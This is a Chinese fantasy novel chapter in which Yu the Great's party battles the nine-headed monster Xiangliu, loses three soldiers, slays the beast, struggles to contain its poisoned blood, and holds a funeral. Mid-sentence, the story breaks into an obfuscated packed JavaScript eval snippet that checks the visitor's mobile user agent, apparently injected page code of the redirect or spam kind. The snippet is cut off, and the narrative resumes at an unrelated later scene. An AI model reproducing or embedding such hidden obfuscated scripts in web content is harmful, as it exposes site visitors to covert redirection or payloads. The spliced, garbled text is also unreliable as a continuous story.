就在此时,地动山摇!并非来自脚下,而是来自前方整片沼泽区域。淤泥如同沸腾般翻滚,不是小范围的涌动,而是方圆数里的沼泽都在隆起!一个庞大到超乎想象的阴影从沼泽深处升起,遮挡了本就晦暗的天空。 那不是简单的巨蛇,而是一座活着的、由污秽血肉和怨毒凝聚而成的山脉! 相柳!其身躯盘绕,便如连绵的山岭,黝黑的鳞片每一片都大如屋盖,反射着幽暗的光泽。最令人窒息的是那九个头,并非仅仅“大如丘山”,而是每一个头颅都真正巍峨如山岳,各自耸立,俯瞰着脚下如同微尘般的生灵。九双巨眼,如同十八口深不见底的毒泉,闪烁着幽绿邪光,漠然地注视着下方渺小的人群。它仅仅是存在本身,其巨大的阴影和恐怖的威压,就足以让最勇敢的战士心胆俱裂。禹一行人站在它面前,仿佛凡人仰望崩塌的天空,连其膝盖的高度都未必能达到,更遑论攻击其高耸入云的头颅。 正是上古凶神,共工之臣——相柳! “嗬……多少年了……终于又有不怕死的蝼蚁,来惊扰本尊的沉眠?”九个头颅并未齐啸,而是发出低沉如地鸣般的声音,声音在空中交汇、回荡,震得人气血翻腾,几欲呕吐。它每一次呼吸,都卷起带着浓烈毒素的腥风,如同风暴掠过,吹得岳卫们的盾牌咯咯作响,木质表面竟开始冒出被腐蚀的青烟! 禹运足中气,声音在相柳造成的巨大音压和风压中,显得微弱却清晰坚定:“吾乃奉舜之命,平治水土的司空禹!尊神莫非是相柳?为何盘踞于此,阻塞河道,毒化一方,致使上游洪水肆虐,下游赤地千里,生灵涂炭?” 一颗靠近他们的头颅缓缓低下,巨大的蛇瞳如同镜面,映出了禹和他身后队伍渺小的身影,带着一种近乎无聊的审视。“鲧之子……舜之臣……尔等秩序下的蝼蚁,也配质问本尊?”它的话语带着亘古的冰冷与漠视,“此世污浊,洪水涤荡,乃共工大神之志。尔等修补补,不过徒劳。” 禹心中一震,听其言,似有极大冤屈。他继续尝试沟通:“尊神若有冤屈,何不道来?共工氏之事已成过往,如今天下水患频仍,万民受苦。尊神既曾为水神之臣,当知水性无常,亦知治水之要。若能助我疏导洪水,使水归其道,润泽苍生,岂非功德无量?何必执念于破坏,徒增罪业?” “疏导?功德?”相柳中间那颗最为硕大、瞳孔中仿佛有漩涡流转的头颅发出震天狂笑,其余八首亦随之嘶鸣,音波震得众人耳膜欲裂,“禹!你和你父亲一样天真!这天地,这世道,早已从根子里烂透了!洪水?哈哈,洪水才是最好的清洗剂!唯有将这污浊的人世、虚伪的秩序连同这不平的山河一并淹没,方能重归混沌,再开新天!共工大神未竟之志,便由我相柳来完成!” 它的话语中充满了对世界的彻底失望与毁灭欲。禹意识到,眼前的凶神,并非单纯的野兽,其背后有着深刻的思想根源,那是共工怒触不周山后留下的极端怨恨与对旧秩序的彻底否定。 “世间确有污浊不公,吾等治水,正是为了建立新的秩序,让生灵得以安居,而非一同毁灭!你看这累累白骨,他们何辜?”禹指着地上的骸骨,痛心疾首。 “无辜?”相柳一个头颅嗤笑,“在这弱肉强食的天地间,何来无辜?强者生,弱者死,本是天道!我吸食九土生灵,乃顺应自然!尔等今日来此,也不过是强一点的蝼蚁,终将成为我的一部分!” 相柳的另一个头颅喷出一股鼻息,并非针对任何人,只是如同山间正常的雾气吞吐。然而对于禹的队伍来说,这却是灾难性的!一股墨绿色的毒瘴如同决堤的洪水般汹涌而来,范围之广,根本无从躲避! “坚守!”岳盾目眦欲裂,大吼道。岳卫们将木盾重重顿在地上,身体死死抵住。然而,在相柳这随意的一口气息面前,人类的造物显得如此可笑。毒瘴冲击在盾阵上,厚重的木盾如同被泼上强酸的朽木,以肉眼可见的速度消融、瓦解!持盾的锐士甚至连惨叫都来不及发出,手臂、胸膛瞬间被腐蚀,露出森森白骨,继而连骨头都化为脓血!阵型瞬间被撕开一个巨大的缺口。 “不!”砺的怒吼和那微不足道的攻击,仿佛只是投入无边深渊的一颗石子,连回响都未曾激起。相柳如山岳般的躯体纹丝未动,漠然的蛇瞳甚至未曾瞥向脚下这群渺小的生灵。 就在这令人绝望的时刻,天际传来数声清越而威严的龙吟,如同撕裂乌云的金色阳光!五道神骏非凡的身影驾驭风云而至,正是应龙所化的五小龙!它们的出现,立刻改变了战场的气势。 金鳞一龙当先,周身金光流转,自然而然地展现出领袖气质。他发出一声悠长龙吟,并非盲目进攻,而是在高速盘旋中审视战场,迅速判断形势。“诸位兄弟,此獠体巨毒深,不可力敌,需以游斗扰之,寻其弱点!”它的指令清晰传入其他四龙意识中。 苍鬃颈项深青色鬃毛怒张,发出低沉咆哮,他最具力量,闻令后猛地冲向相柳一段盘踞的蛇身,并非用牙爪,而是以雄浑无比的巨力狠狠撞击,试图撼动其根基,逼其露出破绽。相柳的鳞甲固然坚硬,但在苍鬃这专精力量的冲击下,那段蛇身也微微晃动了一下。 云踪身形最为流畅,化作一道青碧色的闪电,凭借无与伦比的速度,在相柳几个头颅之间极速穿梭,喷吐蕴含着净化之力的水汽,虽不能驱散滔天毒瘴,却也在局部形成一道道短暂的清新气旋,勉强护住下方人族头顶一小片天空,减缓了毒瘴的侵蚀速度。 墨琛通体玄黑,最为沉稳,她并未急于攻击,而是悬浮在稍远空域,目光如电,敏锐地感知着相柳周身能量流动和大地脉动。很快,她便发现了关键,龙吟传讯:“金鳞兄,此獠邪能与此地污染本源相连,毒煞循环往复,生生不息!寻常攻击,纵能伤其体表,转瞬即可再生!” 赤须龙须如火,性情最为活泼主动,他见苍鬃撞击有效,便试图效仿,但目标选择了看似相对脆弱的蛇颈连接处。它口吐灼热龙息,同时龙尾携风雷之势扫向相柳的一个头颅,试图打断其喷吐毒液的动作。“看我把你这丑脑袋打歪!”它带着少年心性的怒喝。 五小龙各展所长,配合默契,它们的攻击确实远非人族可比,足以引起相柳的注意。相柳的几个头颅开始转动,针对性地应对:喷吐毒息抵消赤须的龙息,以更强大的蛮力震退苍鬃,并挥动头颅带起毒风试图捕捉速度极快的云踪。 “小心!” 一直紧张观战的巫盼看出相柳的反击蕴含杀机,他强忍恐惧,取出玉璧勉力催动巫术,一道清光升起,试图加固云踪制造的水汽屏障。但这微弱的辅助,立刻引起了相柳中间那颗主首的注意。那瞳孔中的漩涡冷冷一转,一股凝练如实质、污秽到极点的暗绿气流,瞬间击溃清光,余势不减,狠狠撞在巫盼胸前。巫盼如遭山撞,手握玉璧,口喷鲜血倒飞出去。 “盼叔!”赤须见状,怒意更盛,救人心切,不顾墨琛的警告和金鳞的约束,强行再次贴近,想以龙息逼退相柳主首。然而相柳主首只是微微一摆,一股暗流精准拍来! “嘭!”赤须躲闪不及,护体灵光剧烈震荡,几片赤色龙鳞被腐蚀剥落,发出一声痛楚的哀鸣,身形踉跄后退。 “赤须!”金鳞急唤,同时意识到局势危急。墨琛的判断是正确的,相柳的力量根源与此地深度融合,它们无法切断这种联系,消耗下去必败无疑。苍鬃的力量无法造成决定性伤害,云踪的速度和净化能力在绝对毒煞面前效果有限,赤须已受伤,而己方的攻击对相柳而言似乎只是烦人的骚扰。 “不可恋战!我等之力,尚不足以斩断其本源!护住赤须,我们退!”金鳞当机立断,发出撤退的龙吟。云踪立刻卷起一阵迷雾,苍鬃奋力断后,墨琛则指引安全退路。五小龙进退有度,展现出高度的智慧与纪律性,迅速脱离了与相柳的接触,降落到后方安全地带,赤须在同伴帮助下压制伤势。 五小龙的奋力一战,虽未能伤及相柳根本,却为人族争取了宝贵的时间,也真正展现了它们远超凡俗的力量与智慧。它们的撤退,并非怯懦,而是基于清醒认知的战术选择,这更反衬出相柳的恐怖与不可力敌。 而就在五小龙撤退,相柳注意力稍分散的瞬间,或许是觉得清静了,或许是耐心耗尽,它的一個头颅随意地甩动,一股远超之前的毒液洪流,如同决堤的冥河,朝着禹所在的方向汹涌卷去!那毒液覆盖范围极广,速度极快,眼看就要将禹及其身边的几人吞没! “司空!小心!” 惊呼声同时从几个方向响起。 几乎本能地,离禹最近的三道身影毫不犹豫地冲了出去!他们是石牙、炎羽和长河! 石牙,那个眼神锐利、背负着血海深仇的年轻渔夫,对相柳的毒液有着刻骨铭心的恐惧与仇恨。他看到那致命的毒浪,仿佛又看到了吞噬他父母和妹妹“贝儿”的毒洪。“孽畜!休想再害人!”他发出一声沙哑的、近乎疯狂的怒吼,将手中那柄加固的渔叉狠狠投掷向毒液源头——尽管他知道这毫无作用,但行动先于思考,他要用身体挡住这熟悉的灾难! 炎羽,那个年仅十五岁、热情似火的少年,反应最快。他看到毒液袭来的轨迹,瘦削的身影却爆发出惊人的速度,抢到禹的侧前方,举起轻便的藤盾,一边尖叫着:“保护司空!”他的脸上带着惊慌,但眼神却异常坚定。 长河,那个豪爽大气、家乡被洪水毁掉的兖州汉子,声音最大。“俺来!”他洪亮的吼声压过了风声,巨大的身躯如同一堵墙般移动,将那面重型牛皮木盾重重顿在地上,试图为禹和身后的同伴构筑最后一道防线。“相柳,俺跟你拼了!”他怒喊着,仿佛要将对家乡水患的所有愤怒都倾泻在这一挡之中。 “石牙!炎羽!长河!回来!不可硬挡!”岳盾目眦欲裂,他看出那毒液的威力绝非人力可挡。但一切都太快了! 三面盾牌——石牙的小圆盾、炎羽的藤盾、长河的重木盾——在接触到毒液的瞬间,就如同投入烈火的冰块,发出令人牙酸的“嗤嗤”声,迅速消融、瓦解!毒液毫无阻碍地泼洒在他们身上…… “啊——!”炎羽发出了短促而凄厉的惨叫,他那年轻的生命之火,在极致的痛苦中瞬间熄灭,身影被毒液吞没。 石牙没有惨叫,他只是死死盯着相柳的方向,眼中是无尽的仇恨和一丝解脱般的茫然,随即也被毒浪吞噬。 长河试图用身体挡住更多毒液,他怒吼着,直到声音被毒液扼断,那健壮的身躯如同烈日下的雪人般融化。 一切发生在电光火石之间。三位勇士,连同他们的盾牌、武器,甚至没有留下完整的骨骸,就在众人眼前,化为三滩迅速扩散的脓血,最终融入那污浊的毒沼之中,尸骨无存! “炎羽!石牙!长河——!”岳盾发出痛彻心扉的咆哮,这位沉稳如山的中年汉子,眼中瞬间布满了血丝。他仿佛看到炎羽那总是充满好奇的眼睛,听到石牙沉默磨叉时的沙沙声,想起长河说起寻找家人时那短暂的忧郁和惯常的豪爽…… 禹被身旁的砺和另外几名锐士死死拉住,才没有冲过去。他眼睁睁看着三条鲜活的生命为了掩护自己而在眼前消逝,心如刀绞,双目赤红。 毒液被三位勇士用生命挡下了大半,余波仍将附近几名岳卫震飞,受了轻伤。而相柳那巨大的头颅,似乎只是完成了一次无聊的驱虫动作,漠然地转向了别处。 战场上出现了短暂的死寂,只有毒血腐蚀地面的嗤嗤声和幸存者们粗重的喘息、压抑的哽咽。勇士的鲜血,并未让魔神动容,却深深刺痛了每一个活着的人的心,也更激起了对这凶顽的刻骨仇恨与必须将其诛杀的决绝。 禹挥舞神斧,劈开几股溅射过来的毒液,手臂被震得发麻。他仰望着那几乎遮蔽了整个天空的九首魔物,心中涌起的不仅是悲痛,更有一种深沉的无力与绝望。这差距,如同蚍蜉撼树,萤火比之皓月。以往治水,虽有艰险,总还有一搏之力,但面对相柳这种上古凶神,凡人的力量显得如此苍白可笑。 “撤退!全部撤退!离开这里!”禹的声音带着一丝沙哑,那是认清现实后的痛苦抉择。继续停留,只有全军覆没一途。 幸存者们搀扶着伤员,狼狈不堪地向后疾退。相柳并未追击,或许在它眼中,这些渺小的生灵根本不值得它移动庞大的身躯。它只是重新盘踞起来,九首昂然睥睨,发出低沉而充满嘲弄的嗡鸣,那声音如同滚雷,在天地间回荡,仿佛在宣告谁才是这片土地真正的主宰。那声音,也深深地烙印在每一个幸存者的心中,带来了难以磨灭的阴影和绝望。 大家退回临时营地,气氛异常沉重。伤者的呻吟声,牺牲者同袍的压抑哭声,混合着空气中仍未散尽的腥臭,压得人喘不过气。巫盼需要静养,辛夷忙碌地照顾着伤员。砺一拳砸在岩石上,拳头渗出血迹,却浑然不觉。岳盾清点人数,面色铁青。五小龙的金麟、苍鬃、云踪、墨琛也显得有些萎靡,围着受伤的赤须。伯益和百草,正在赤须清洗伤口。 禹独自走到营地边缘,望着远处那魔影幢幢的大伾山,第一次感到了深深的无力感。积石山得河精玉简,龙门山有应龙相助,砥柱山虽险,亦靠众志成城克服。然而眼前这相柳,其实力远超以往任何对手,更兼毒性猛烈,心智偏执,几乎无法沟通。难道治水之路,真要断送于此? 他想起了舜殷切托付时的目光,想起了父亲鲧治水失败含恨而逝的悲壮,想起了天下万民期盼的眼神……如果无法战胜相柳,打通大伾山,之前所有努力都可能付诸东流,黄河水患将永无宁日。一种前所未有的自我怀疑涌上心头:如果没有神灵相助,仅凭凡人之力,自己真的能成功吗?这治水大业,究竟是对是错? 恰在此时,有来自淮水方向的信使赶到,报告淮水水患因上游山洪爆发再次加剧,情势危急,急需支援。禹的心更是一沉。大伾山僵持不下,淮水又告急,真是按下葫芦浮起瓢。 他必须做出决断。继续强攻相柳,可能造成更大伤亡,且胜算渺茫;若分兵前往淮水,大伾山这个毒瘤不除,后患无穷。权衡再三,禹决定亲自前往淮水方向勘察情况,寻找应对之策,或许能在途中寻得破解相柳之法。大伾山这边,暂时由皋陶主持,坚守营地,救治伤员,避免与相柳正面冲突。 行程既定,队伍再次开拔,向南绕行,途经阳城。这已是禹第二次路过家门。远远望见阳城的轮廓,禹的心中百感交集。上一次过门不入,是因砥柱山工程紧急,这一次,却是带着挫败与迷茫。 他甚至没有让队伍靠近阳城,只是站在一处高坡上,遥望着那座承载着他温暖与愧疚的城池。夕阳西下,城郭沐浴在余晖中,显得宁静而祥和。那里有他挚爱的妻子女娇,还有他未曾好好抱过的儿子启。治水是为了守护这样的安宁,可过程却要他一次次远离这份安宁。 “司空,是否入城稍作休整?夫人和公子……”砺在一旁低声问道。 禹猛地闭上眼睛,硬起心肠,摇了摇头:“相柳为祸,淮水告急,刻不容缓。此刻入城,我心难安。走吧。”他调转车驾,狠心挥鞭,再次背离了家的方向。他心中充满的,不仅是公而忘私的决绝,更有对自身能力的怀疑,让他无颜面对妻儿期盼的目光。 他并不知道,几乎在他决定离开的同时,女娇抱着年幼的启,登上了阳城的城楼。她听闻丈夫的队伍可能途经此地,日日在此等候。她看到了远处那一行迅速远去的身影,看到了那面熟悉的“司空”旗帜在风中猎猎作响,最终消失在暮色深处。怀中的启似乎感应到了什么,咿呀着伸出手,指向父亲离去的方向。女娇紧紧抱住儿子,眼中盈满了泪水,却倔强地没有让它落下。她理解他的责任,却也无法抑制那刻骨的思念与担忧。 禹南行途中,日夜思索对付相柳之策。他反复推敲相柳的言行,回忆战斗的每一个细节。相柳的力量源于其深刻的怨念与共工遗留的毁灭意志,其九头之中,必有一个核心。若能击破核心,或可瓦解其力量。但如何找到并接近核心?那恐怖的毒瘴又如何抵御? 就在禹苦思冥想之际,留守大伾山的皋陶,正面临相柳不时发起的骚扰袭击。虽依禹嘱托避免决战,但相柳的毒气仍在不断扩散,侵蚀营地。一日夜间,相柳再次兴风作浪,毒雾弥漫,直扑营地。皋陶为稳定军心,手持北斗刑圭,立于营地中央,默诵法典,以自身浩然正气引动刑圭神力。 突然,在相柳毒雾最浓之时,北斗刑圭似乎感应到了极致的邪秽,竟自主散发出清冷辉光,圭身上镌刻的北斗七星图案逐一亮起,投射出一道朦胧的星辉光幕,将营地笼罩其中。那凶戾的毒雾触碰到星辉光幕,竟如冰雪遇阳,纷纷消散退避!光幕虽小,却坚不可摧,有效地保护了营地内的众人。 皋陶心中一震,恍然大悟!原来舜所赐的北斗刑圭,不仅是司法权力的象征,更蕴含着镇压邪祟、匡正阴阳的神圣力量!其力量源自天道公正,正是相柳这种怨毒邪秽之物的克星!他立刻修书一封,将这一重大发现飞马传报正在折返途中的禹。 禹接到皋陶书简,如获至宝!困扰多日的难题,终于看到了一丝曙光!他立刻加速返回大伾山。途中,他对诛魔方案已有了清晰的构想:由皋陶以北斗刑圭之力,定住相柳邪气,削弱其毒瘴,并尝试束缚其行动;自己则伺机寻找其核心头颅,以开山神斧做雷霆一击!那开山神斧本就有劈开砥柱山的伟力,相柳的头颅,难道还能比砥柱山更坚硬不成? 回到大伾山营地,禹与皋陶仔细商议了战术细节。休整一夜后,翌日清晨,诛魔之战再次打响。 这一次,禹率领众人主动向相柳盘踞的沼泽发起挑战。相柳见手下败将去而复返,九首齐啸,怒意更盛,声浪如同万雷齐鸣,震得远处山石滚落:“不知死活的蝼蚁,还敢前来送死!”它甚至懒得挪动如山的身躯,只是随意地张开巨口,毒液与瘴气便如同决堤的天河之水,混合着腥风血雨,向着渺小的人群倾泻而下!这已非攻击,而是天灾般的洗礼! 但这一次,皋陶挺身而出!他将那看似不起眼的北斗刑圭高高举起,身形在巨兽面前虽如芥子,其意却顶天立地。他朗声诵读舜所授法典篇章,声音不高,却字字清晰,引动天地正气:“日月有常,星辰有行……静作得时,天地同光……邪僻不正,法令刑之!” 随着诵读,北斗刑圭骤然爆发出前所未有的清冷辉光!圭身上镌刻的北斗七星图案仿佛活了过来,七颗星斗虚影旋转飞出,见风即长,瞬息间化作一道覆盖了小半个天空的巨大北斗星图,悬浮于相柳上空!浩瀚、精纯的星辰之力如瀑布般倾泻而下,清冽的星辉所照之处,污秽的沼泽仿佛被无形之力压制,沸腾的泥沼变得平静,浓郁的、几乎化为实质的毒瘴如同冰雪遇阳,迅速消散、退避!相柳那足以蚀金融铁的毒液洪流,冲入星辉范围后,威力也骤减大半,虽仍具威胁,却已非不可抵御。 “这是什么力量?!竟能克制我的本源毒瘴?!”相柳惊怒交加,它感到一股源自天道秩序、令它从灵魂深处感到厌恶和恐惧的力量正在强行净化这片被它彻底污染的土地,束缚它的邪能。它那山岳般的躯体开始疯狂扭动,九颗头颅不再轻蔑,而是全力喷吐出最为浓稠、蕴含着它本命精元的毒雾,试图以量取胜,冲垮那看似脆弱实则坚韧无比的北斗星图!天地间仿佛被分割成两半,一半是相柳制造的污浊毒域,一半是北斗星图撑起的清明世界。星图在毒雾的冲击下微微摇曳,却始终稳如磐石,牢牢镇住场域,为禹创造了唯一的机会! “就是现在!”禹知道,皋陶以凡人之躯引动北斗刑圭神力,支撑如此巨大的星图消耗极大,时间宝贵!他无法像寻常战斗那样欺身近前——相柳随意一个动作带起的风压就足以将他碾碎。他立于一处高坡,凝神静气,将全部的精神、意志,体内传承自黄帝的血脉之力,以及对天下苍生的责任,对逝去父亲的承诺,对妻儿的愧疚,全部灌注于手中的开山神斧之中! 神斧感应到了主人决绝的信念,开始剧烈震颤,发出嗡鸣,斧身绽放出前所未有的煌煌神光,那光芒如此炽烈,甚至暂时压过了北斗星辉!在下方奋战、苦苦支撑的岳卫锐士们,以及正在施法的皋陶,都不由得为之侧目。 “司空!”砺大喊,既是鼓励,也是提醒。 禹猛地睁开双眼,眼中金光一闪!他不再犹豫,用尽全身力气,将开山神斧向着相柳中间那颗最为巨大、瞳孔中漩涡急速旋转的头颅,奋力掷出! “斩——邪——归——正!” 神斧离手,并非简单的投掷,而是化作一道撕裂长空、贯穿天地的金色流光!这流光凝聚了禹的毕生信念与神力,仿佛拥有了自己的生命,目标直指相柳的核心!所过之处,连空间都产生了细微的扭曲,相柳布下的残余毒障触之即溃! 相柳也察觉到了这足以威胁它根本的一击!中间的头颅发出尖锐刺耳的嘶鸣,充满了难以置信与暴怒!其余八首不顾一切地回防,喷出凝练如固态的本命毒元,试图拦截、腐蚀那道金光。同时,它庞大的身躯剧烈挣扎,想要挪开头颅。 “孽障!休想!”皋陶须发皆张,将全身正气与精神力量毫无保留地灌注于北斗刑圭!空中星图骤然收缩,七颗星斗光芒大盛,化作七道粗大的星光锁链,如同天神的枷锁,闪电般缠绕向相柳的九颗头颅,尤其是中间那头,被数道锁链重点关照!星光锁链并非实体,却蕴含着“法则”与“秩序”的力量,极大地迟滞、束缚了相柳的动作,让它那山岳般的头颅移动起来仿佛陷入了无形的泥沼! 就是这至关重要的刹那!金色流光(神斧)抓住了缝隙,穿透了层层毒障的阻碍,在所有人与神的注视下,精准无比地、狠狠地劈入了相柳中间头颅眉心的那个深邃漩涡! “嗷——!!!” 一声前所未有的、包含着极致痛苦、愤怒乃至一丝解脱的悲鸣,从相柳九个头颅中同时爆发出来,声浪几乎掀翻了天空的云层!时间仿佛在这一刻凝固。那道金色流光完全没入了漩涡核心。 紧接着,相柳中间那颗最大的头颅,从眉心开始,一道金色的裂痕迅速蔓延、扩大!裂痕中迸射出万丈光芒,仿佛内部有什么东西爆炸了!那是它再生核心的崩碎! 巨大的头颅,如同被劈开的山峦,缓缓向两侧分裂!失去核心的支撑,相柳那堪比山脉的庞大身躯猛地一僵,随即失去了所有力量,开始不可遏制地倾颓、崩塌! “退!快退!远离它倒下的范围!”禹嘶声力竭地大喊,声音因脱力和激动而沙哑。 众人慌忙向后疾退。相柳倒下的过程,缓慢而恐怖,如同天塌地陷!巨大的蛇身砸入沼泽,激起数百丈高的泥浪,轰鸣声持续了许久,大地如同筛糠般剧烈颤抖,仿佛末日降临。当一切终于平息时,原本相柳盘踞的地方,出现了一片由破碎山石、污浊血肉和翻涌泥沼构成的、更加广阔和恐怖的死亡区域。 生命的最后时刻,相柳分裂的头颅中,那颗核心头颅的残存部分,发出微弱却清晰的精神波动,直接传入禹和在场核心人物的脑海中,那是一个苍凉、疲惫而充满无尽悔恨的独白:“禹……你……赢了……这累累白骨……我造的孽……太深了……深到……连我自己……都害怕……”它的“目光”扫过被它彻底毒化的千里之地,“共工大神……我终究……辜负了……但这世界……清洗……或许……本就是我的妄念……回头?哈哈……回头……我又能是什么?一无是处……罪该万死的……怪物罢了……” 彻底的绝望与自我否定,让它放弃了任何残存的挣扎。随着最后一丝精神波动的消散,相柳庞大的身躯彻底崩解,腥臭无比、蕴含着世间至毒的血液,如同地下血海决堤,从它全身的伤口,特别是被劈开的头颅中,疯狂喷涌而出!血液所到之处,不仅仅是腐蚀,而是彻底的“死亡”,岩石化为齑粉,泥土变为粘稠、冒着气泡的剧毒沼泽,散发出令万物灭绝的恶臭,真正达到了“不可生谷,不可居也”的绝境。 诛魔成功,营地中却一片寂静。没有欢呼,只有劫后余生的喘息,以及面对这更大规模“死亡之地”的沉重。牺牲的勇士值得告慰,但活着的人,肩负的责任更加巨大——这片土地,若不净化,将永远是绝地,流离失所的百姓永无归期。 禹强撑着几乎虚脱的身体,目光扫过那片翻涌着恶臭气泡、色泽暗红发紫的毒血沼泽。他知道,必须立刻行动,阻止毒害进一步扩散。“不能任由这毒血渗入更深的地脉,必须设法封堵!”他的声音因疲惫而沙哑,却带着不容置疑的决断。 “司空,如何下手?”砺快步上前,看着那触之即腐的毒沼,眉头紧锁。 “先尝试填埋,隔绝其与外界的接触。岳盾,立刻组织人手,取远处未被污染的净土,运至此地,倾入沼泽边缘,看看能否沉底固化!”禹下令道。 岳盾领命,立刻指挥一队较为完好的岳卫锐士,配合部分民夫,用藤筐、皮囊,从数里外运来相对干燥洁净的泥土。众人小心翼翼,将第一波泥土投向毒沼泽的边缘。 “噗嗤……”泥土落入粘稠的毒血中,并未如预想般下沉垫底,反而像是水滴落入滚烫的油锅,瞬间爆发出剧烈的反应!毒血仿佛拥有生命般,翻涌着将泥土包裹、吞噬,并以肉眼可见的速度将其腐蚀、融化,化作更多粘稠污浊的浆液,甚至还冒起更加浓烈的黄绿色毒烟,嗤嗤作响。 “退后!快退后!”巫盼被辛夷搀扶着,看到此景,急忙嘶声提醒,“这毒血蕴含相柳本源怨煞,极具侵蚀同化之力,寻常泥土非但不能压制,反而像是……像是给它喂食!” 皋陶面色凝重地点点头:“巫盼所言极是。此毒已非寻常物,似有邪性,恐难用常法应对。” 第一次尝试,几乎在瞬间就宣告失败,投下的泥土踪影全无,毒沼范围似乎还隐隐扩大了一丝。众人的心沉了下去。 “或许是投掷方式不对,不够集中,力量太散。”禹沉思片刻,下令道,“改用夯土之法!先以木板、巨石略作围挡,再将泥土倒入,迅速夯实,或许能形成隔绝层!” 砺立刻带人砍伐树木,制成简陋的挡板,又搬运来一些较大的石块,在毒沼边缘勉强围出一个小范围的区域。民夫们将泥土快速倒入其中,几名壮汉立刻举起沉重的木夯,奋力砸下。 “嘿——哟!”号子声响起,泥土被夯实。然而,就在众人稍露期盼之色时,被夯实的土层面与毒血接触的下方,开始迅速变黑、软化。那毒血如同无孔不入的恶魔,沿着土壤缝隙向上渗透、腐蚀。不到一炷香的功夫,看似坚实的夯土层便整体塌陷下去,再次被毒血吞没,连带着作为围挡的木板和石块也被腐蚀得千疮百孔。 “不行!这毒性能蚀穿金石,泥土根本挡不住!”一位老工匠绝望地喊道,他手中的工具尖端已因不慎沾到飞溅的毒液而变得坑坑洼洼。 第二次尝试,更加费力,却同样徒劳无功,反而损耗了不少物资和人力。沮丧的情绪开始蔓延。 “司空,或许……或许需要更厚重的土石?”一位负责工程的官员擦着汗提议,“我们挖掘更深的土层,取地下黏土,堆砌成更高的堤坝,以量取胜?” 禹望着那片仿佛在嘲弄他们的毒沼,深吸一口气。他知道希望渺茫,但不能不试。“就依此议!集中所有人手,取土筑堤!哪怕只能阻挡一时!” 在禹的坚持下,所有能调动的人手都动员起来。这是一场与毒血赛跑的疯狂劳作。人们挖掘深坑,将一筐筐沉重的黏土运到沼泽边,奋力堆砌。一道数人高、底部宽厚的土堤渐渐成形,试图将毒沼包围。 然而,相柳毒血的恐怖远超想象。土堤与毒血接触的部分,以缓慢而坚定的速度被消融、瓦解。毒素不仅向下渗透,更向着堤坝内部蔓延,使得土堤结构变得松软脆弱。就在堤坝即将合拢的那一刻,承受压力最大的地段发出一阵令人牙酸的呻吟,随即轰然塌陷!大量的泥土滑入毒沼,瞬间被吞噬,而毒血则顺着缺口汹涌而出,反而冲毁了更多刚刚堆好的土方,污染的范围似乎比之前更大了! “三沮……”皋陶闭上眼,沉重地吐出两个字。连续三次填土,三次塌陷失败,这意味着人间凡土,对此毒彻底无效。 现场一片狼藉,人们疲惫地瘫倒在地,脸上写满了绝望。望着那不断扩大、汩汩冒泡的死亡之沼,一种无力感扼住了每个人的喉咙。连番努力,不仅无功而返,反而似乎助长了毒势。 禹站在原地,心情沉重。他看着那片吞噬了希望的土地,听着身边人们压抑的叹息,心中充满了前所未有的挫败感。诛杀相柳的代价,竟如此沉重吗?难道真要眼睁睁看着这片土地沦为永恒的绝域? “此毒已侵染地脉,非人间土石能解,反而会助长其污秽。”皋陶面色前所未有的凝重,“必须用非凡之物,既要隔绝,更要净化。” 禹的目光落在了随身携带的那只装有息壤的皮囊上。或许,只剩下这最后一条路了。他沉吟片刻,取出了珍藏的息壤。这来自天帝的神土,看似一小捧,却重若山岳,内蕴生生不息之力。息壤需以灵性激活,以血为饲。于是,禹毫不犹豫地用开山神斧的锋刃划破自己的指尖,将几滴鲜血,滴落在息壤之上。 鲜血渗入,息壤仿佛被注入了生命,瞬间活跃起来,散发出温润的辉光。禹将息壤撒向污染区域的边缘。息壤落地,见风即长,遇毒更显神效,迅速隆起,形成一道散发着淡淡金光的坚实堤坝,不仅将毒血污染的核心区域牢牢围拢,形成一个大池,更开始缓慢而持续地吸收、中和土壤与水流中的毒素。这是一个漫长的过程,但希望已然种下。 然而,相柳虽死,其滔天怨气与邪魂未必散尽。这日,禹和皋陶在营帐中,商议如何镇住相柳邪魂。皋陶警示道:“司空,相柳乃上古凶神,其魂顽劣,恐效共工残魂,日后为患。需以正道之气,立台镇压,使其永世不得作乱。” 禹深以为然。 此时,巫盼在辛夷的搀扶下,踉踉跄跄地走来,虚弱地补充道:“司空,士师所言极是。上古有五方天帝,分镇天地五方,代表秩序与正道。若能取五方精粹之土,依五行方位筑台,以五帝之名镇压,可保万全。此乃上古秘传的镇魔仪式。” 禹点头,这正是他所想。他立刻下令,遣人快马加鞭,前往象征五方天帝的圣域,取来青、红、白、黑、黄五色土壤。 五色土壤运到后,禹亲自主持,在息壤之池周围,选定五个方位,对应东( ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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禹站在三座坟茔前,背影在苍茫天地间显得格外孤寂。他望着那三块冰冷的石头,眼前仿佛又浮现出石牙沉默磨叉时眼中的仇恨与痛楚,炎羽那总是充满好奇、叽叽喳喳的身影,长河豪爽大笑、说着“俺来”时的可靠模样。他们不是冰冷的名字,是曾与他并肩作战的兄弟。 “拾柴。”禹的声音低沉而沙哑。 岳盾默默挥手,锐士们将早已准备好的干燥柴薪轻轻堆放在三座衣冠冢前,垒成三座柴堆。 没有繁琐的仪式。禹接过火把,走到柴堆前。他沉默了片刻,目光扫过每一张悲戚而坚定的面孔,终于开口,声音不高,却清晰地传入每个人耳中:“石牙、炎羽、长河,还有所有为平水土而倒下的兄弟……你们的名字,或许不会被天下人尽知,但你们的血,绝不会白流。” 他顿了顿,压抑着胸中翻涌的情绪:“这滔滔洪水,吞噬了无数家园,也带走了我们挚爱的亲人、朋友。治水之路,从不是坦途,它是由鲜血、汗水和生命铺就的。我们今日能站在这里,诛杀相柳,是因为有像他们一样的勇士,用身躯挡住了灾难。” “我们在此,不是只为哭泣。我们在此立誓!”禹的声音陡然提高,带着一种斩钉截铁的决绝,“只要洪水一日不退,只要天下苍生一日不得安宁,我禹,和你们每一个人,都将矢志不移,继续前行!哪怕前路还有千难万险,还有更多的相柳,我们也绝不后退!这,才是对逝者最好的告慰!” 说完,他深深吸了一口气,将火把依次投入三个柴堆。干燥的柴薪迅速燃烧起来,火焰升腾,噼啪作响,仿佛勇士们不屈的灵魂在咆哮。 